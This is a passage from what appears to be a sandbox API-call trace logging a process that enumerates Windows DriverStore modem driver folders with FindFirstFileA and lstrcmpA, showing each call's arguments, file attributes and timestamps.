ftLastAccessTime.dwLowDateTime=0x6898433e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6898433e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.679] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.680] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmlasno.inf_amd64_neutral_c86d5b5e5fa8b48a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c055e94, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x689aa49f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x689aa49f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.680] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.681] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmlucnt.inf_amd64_neutral_642a5ab3f2a1ae20\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c114576, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x68be5943, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x68be5943, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.681] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.682] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmmc288.inf_amd64_neutral_c4a901dab689ad79\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c1d2c57, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x68dfac87, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x68dfac87, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.683] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.683] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmmcd.inf_amd64_neutral_49212f5920298e45\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c291338, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x68e20de7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x68e20de7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.684] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.684] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmmcom.inf_amd64_neutral_716a306ec3899e04\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c34fa1a, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x68e20de7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x68e20de7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.685] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.686] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmmct.inf_amd64_neutral_15bb3ed734fbbeb3\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c43425c, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x68e6d0a7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x68e6d0a7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.687] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.687] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmmega.inf_amd64_neutral_f9c441ed24f00358\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c4f293d, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x68e93208, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x68e93208, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.689] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.689] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmmetri.inf_amd64_neutral_f89b8a357327f615\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c5d717f, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x68eb9368, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x68eb9368, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.690] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.691] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmmhrtz.inf_amd64_neutral_10affee00545fb45\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c6e1b20, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x68f2b789, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x68f2b789, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.691] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.692] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmmhzel.inf_amd64_neutral_1292ec506cfc26db\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c85e8e3, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x68f9dbaa, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x68f9dbaa, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.693] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.693] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmminij.inf_amd64_neutral_7c300346e830b2dc\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c969285, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6903612b, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6903612b, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.694] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.695] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmmod.inf_amd64_neutral_5766736c47b90fff\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4ca01806, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x690823eb, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x690823eb, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.695] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.697] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmmot64.inf_amd64_neutral_1abbad2f29c8fa08\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x507bf318, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c1285e5, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c1285e5, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.697] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.704] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmmoto1.inf_amd64_neutral_bf4b404852955eb4\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4cabfee8, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x690ce6ac, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x690ce6ac, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.705] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.706] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmmotou.inf_amd64_neutral_eb1d978f38f35bca\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4cb58469, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x69309b50, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x69309b50, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.708] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.708] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmmts.inf_amd64_neutral_b7f0a8d5f67c19e8\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4cc3ccaa, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6932fcb0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6932fcb0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.709] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.709] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmneuhs.inf_amd64_neutral_d1563e8412461eea\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4cd214ec, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6956b154, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6956b154, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.710] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.710] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmnis1u.inf_amd64_neutral_15011483bd8465c4\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4cdb9a6d, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x695912b5, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x695912b5, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.711] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.712] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmnis2u.inf_amd64_neutral_de46607a02fe2552\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4ce9e2af, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x695912b5, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x695912b5, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.712] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.713] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmnis3t.inf_amd64_neutral_857ff0fa9c73850a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4cf5c990, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x695b7415, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x695b7415, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.713] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.714] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmnis5t.inf_amd64_neutral_6c50ee5cb1ea2780\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4cff4f11, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x695b7415, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x695b7415, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.714] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.715] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmnokia.inf_amd64_neutral_a8e9a41983d33a0b\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3d03719a, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6064c58d, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6064c58d, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.716] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.716] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmnova.inf_amd64_neutral_b52d8db82d8c3be9\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d0b35f3, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x695b7415, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x695b7415, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.717] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.717] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmntt1.inf_amd64_neutral_ecf5cff2236b273a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d171cd4, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x695dd575, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x695dd575, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.718] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.719] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmnttd2.inf_amd64_neutral_9dcd97ab7a913b7a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d20a255, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x696e7f17, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x696e7f17, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.719] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.720] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmnttd6.inf_amd64_neutral_ce587aa61510da51\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d2eea97, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6970e077, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6970e077, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.721] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.721] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmnttme.inf_amd64_neutral_ece4b1cc5aee6a38\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d387018, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x697341d8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x697341d8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.722] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.723] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmnttp.inf_amd64_neutral_18b899bdc8a755fa\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d4456f9, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6975a338, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6975a338, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.724] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.724] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmnttp2.inf_amd64_neutral_d218c42ac8635704\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d4ddc7a, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x69780498, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x69780498, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.725] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.725] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmnttte.inf_amd64_neutral_16d100fb6ba2e40f\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d59c35c, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x69780498, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x69780498, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.726] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.726] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmolic.inf_amd64_neutral_a53ac1a125d227fc\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d65aa3d, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x697a65f8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x697a65f8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.728] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.729] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmomrn3.inf_amd64_neutral_a87289088ec2cdf1\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d7653df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x697f28b9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x697f28b9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.729] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.730] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmoptn.inf_amd64_neutral_be2f30f68f2a5567\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d849c20, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6983eb7a, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6983eb7a, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.730] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.731] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmosi.inf_amd64_neutral_932d048a735b47c2\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d92e462, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6988ae3a, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6988ae3a, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.732] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.732] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmpace.inf_amd64_neutral_f5caca1789a3c28b\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d9ecb44, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x698b0f9a, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x698b0f9a, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.734] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.743] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmpenr.inf_amd64_neutral_34624840c3163a38\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4daf74e5, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x698d70fb, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x698d70fb, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.744] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmpin.inf_amd64_neutral_2415474b9db0a888\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4dbb5bc7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x69b1259f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x69b1259f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.746] FindFirstFileA (in: 